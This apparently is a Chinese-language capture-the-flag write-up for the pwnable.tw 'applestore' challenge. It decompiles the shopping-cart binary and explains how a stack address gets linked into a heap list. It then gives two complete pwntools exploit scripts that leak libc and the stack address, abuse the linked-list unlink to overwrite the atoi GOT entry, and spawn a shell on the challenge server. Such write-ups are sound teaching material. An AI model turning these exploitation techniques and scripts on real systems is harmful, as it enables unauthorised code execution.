pwnable.tw applestore
0x10 程序分析
32位动态链接库文件
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
恢复结构体后对函数分析
结构体
typedef struct Device{
char * name;
int price;
char * next_thing;
char * priv_thing;
}device;
程序主要提供了5个功能,分别对应增删查改
unsigned int handler()
{
char nptr; // [esp+16h] [ebp-22h]
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 1:
list(); // menu
break;
case 2:
add(); // input 1-5
break;
case 3:
delete(); // remove card
//
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
default:
puts("It's not a choice! Idiot.");
break;
}
}
}
查看Add函数
unsigned int add()
{
Device *v1; // [esp+1Ch] [ebp-2Ch]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 1:
v1 = create("iPhone 6", 0xC7); // iphone 6 0xc7 0 0
insert(v1); // mycard = malloc(0x10)
goto LABEL_8;
case 2:
v1 = create("iPhone 6 Plus", 0x12B);
insert(v1);
goto LABEL_8;
case 3:
v1 = create("iPad Air 2", 0x1F3);
insert(v1);
goto LABEL_8;
case 4:
v1 = create("iPad Mini 3", 0x18F);
insert(v1);
goto LABEL_8;
case 5:
v1 = create("iPod Touch", 0xC7);
insert(v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", v1->name);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}
Add函数中调用了Create函数分配了一个大小为0x19的chunk
0 chunk_size
name price
next_thing priv_thing
然后调用insert函数
Device *__cdecl insert(Device *a1)
{
Device *result; // eax
Device *i; // [esp+Ch] [ebp-4h]
for ( i = &myCart; i->next_thing; i = i->next_thing )
;
i->next_thing = a1;
result = a1;
a1->prev_thing = i;
return result;
}
将chunk插入到一个双向的链表中
然后我们看Delete函数
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
Device *card; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
Device *v4; // [esp+1Ch] [ebp-2Ch]
Device *v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
v1 = 1;
card = dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
v3 = atoi(&nptr);
while ( card )
{
if ( v1 == v3 )
{
v4 = card->next_thing;
v5 = card->prev_thing;
if ( v5 )
v5->next_thing = v4;
if ( v4 )
v4->prev_thing = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, card->name);
return __readgsdword(0x14u) ^ v7;
}
++v1;
card = card->next_thing;
}
return __readgsdword(0x14u) ^ v7;
}
Delete函数将物品从双向链表中移除
Cart函数
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
Device *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = dword_804B070; i; i = i->next_thing )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, i->name, i->price);
v3 += i->price;
}
}
return v3;
}
checkout函数
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 0x1C06 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert(&v2);
v1 = 0x1C07;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
checkout函数会检查链表中所有物品的总价值是否为0x1c06,如果是则会直接将v2加入链表,不同于其他物品的加入,v2是一个栈上的地址,而其他物品是在堆上的
那么就会形成这样一个链表假如堆地址为:0x804c158
0x804c158 <-> 0x804c158+0x19<-> 0x804c158+0x19+0x19 <-> stack addr
而我们是可以控制栈地址的值的
0x20 利用思路
- 触发总价值为0x1c06,使栈地址加入链表
- 修改栈地址指针
我们可以发现v2
的地址为ebp - 0x20
,进入其他函数后我们的输入地址为ebp - 0x22
因此我们是可以修改到v2的指针的
泄漏地址ROP:
y\x00 <--ebp -0x22
puts_got <--- ebp - 0x20
0
0
0
Len(payload) = 0x12 < 0x15
此时由于:
*(dev->name) = puts_got
printf("%d: %s - $%d\n", v0, i->name, i->price);
因此libc地址会被打印出来
泄漏出libc之后我们要考虑如何劫持程序流使我们可以修改got表或者ebp的值
使用Delete 函数来劫持ebp到got表
如果我们将指针修改为这样:
0
0
atoi_got
ebp
在执行Delete函数时会这样:
v4 = card->next_thing; // v4 = atoi_got
v5 = card->prev_thing; // v5 = ebp
if ( v5 )
v5->next_thing = v4; // ebp = atoi_got
if ( v4 )
v4->prev_thing = v5; // atoi_got = ebp
因此我们还需要泄漏ebp的值
这里可以通过泄漏environ
来实现
y\x00 <--ebp -0x22
environ <--- ebp - 0x20
0
0
0
然后Delete(27)构造unlink
0
0
p32(atoi_got+0x22)
p32(ebp)
此时ebp被修改到atoi的got表处,delete函数返回 指针指到atoi_got ,输入数据,程序调用atoi完成利用
atoi_got <-ebp
system <- ebp
getshell
system
/bin/sh\x00
0x30 finalexp
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./applestore"
context.update(arch = 'x86', os = 'linux')
elf=ELF(proc)
libc = ELF("./libc_32.so.6")
def choice(operand):
sh.sendlineafter("> ",str(operand))
def Add(index):
choice(2)
sh.sendafter("> ",str(index))
def Delete(index):
choice(3)
sh.sendafter("> ",str(index))
def Show():
choice(4)
sh.sendafter("Let me check your cart. ok? (y/n) >","y")
def Checkout():
choice(5)
sh.sendafter("Let me check your cart. ok? (y/n) >","y")
def pwn(ip,port,debug):
global sh
if debug==1:
context.log_level="debug"
sh=process(proc)
else:
context.log_level="debug"
sh=remote(ip,port)
for i in range(6):
Add(1)
for i in range(20):
Add(2)
puts_got = elf.got['puts']
Checkout()
choice(4)
sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(puts_got)+p32(0)*3)
sh.recvuntil("27: ")
puts = u32(sh.recv(4))
libc_base = puts - libc.symbols["puts"]
log.info("puts:"+hex(puts))
system_addr = libc_base + libc.symbols["system"]
env = libc_base + libc.symbols["environ"]
choice(4)
sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(env)+p32(0)*3)
sh.recvuntil("27: ")
ebp = u32(sh.recv(4)) -0x104 - 0x8
sh.sendafter("> ","3")
sh.sendafter("> ","27" + p32(0) * 2 + p32(elf.got['atoi'] + 0x22) + p32(ebp))
sh.sendafter("> ",p32(system_addr)+";/bin/sh\x00")
sh.sendline("cat /home/applestore/flag")
# gdb.attach(sh)
# payload=
sh.interactive()
if __name__ =="__main__":
pwn("chall.pwnable.tw",10104,0)
One_gaget:
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./applestore"
context.update(arch = 'x86', os = 'linux')
elf=ELF(proc)
libc = ELF("./libc_32.so.6")
def choice(operand):
sh.sendlineafter("> ",str(operand))
def Add(index):
choice(2)
sh.sendafter("> ",str(index))
def Delete(index):
choice(3)
sh.sendafter("> ",str(index))
def Show():
choice(4)
sh.sendafter("Let me check your cart. ok? (y/n) >","y")
def Checkout():
choice(5)
sh.sendafter("Let me check your cart. ok? (y/n) >","y")
def pwn(ip,port,debug):
global sh
if debug==1:
context.log_level="debug"
sh=process(proc)
else:
context.log_level="debug"
sh=remote(ip,port)
for i in range(6):
Add(1)
for i in range(20):
Add(2)
puts_got = elf.got['puts']
Checkout()
choice(4)
sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(puts_got)+p32(0)*3)
sh.recvuntil("27: ")
puts = u32(sh.recv(4))
libc_base = puts - libc.symbols["puts"]
log.info("puts:"+hex(puts))
system_addr = libc_base + libc.symbols["system"]
env = libc_base + libc.symbols["environ"]
choice(4)
sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(env)+p32(0)*3)
sh.recvuntil("27: ")
ebp = u32(sh.recv(4)) -0x104 - 0x8
sh.sendafter("> ","3")
sh.sendafter("> ","27" + p32(0) * 2 + p32(elf.got['puts'] + 0x22) + p32(ebp))
sh.sendafter("> ",p32(libc_base + 0x3a819 ))
sh.sendline("cat /home/applestore/flag")
# gdb.attach(sh)
# payload=
sh.interactive()
if __name__ =="__main__":
pwn("chall.pwnable.tw",10104,0)
"""
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
"""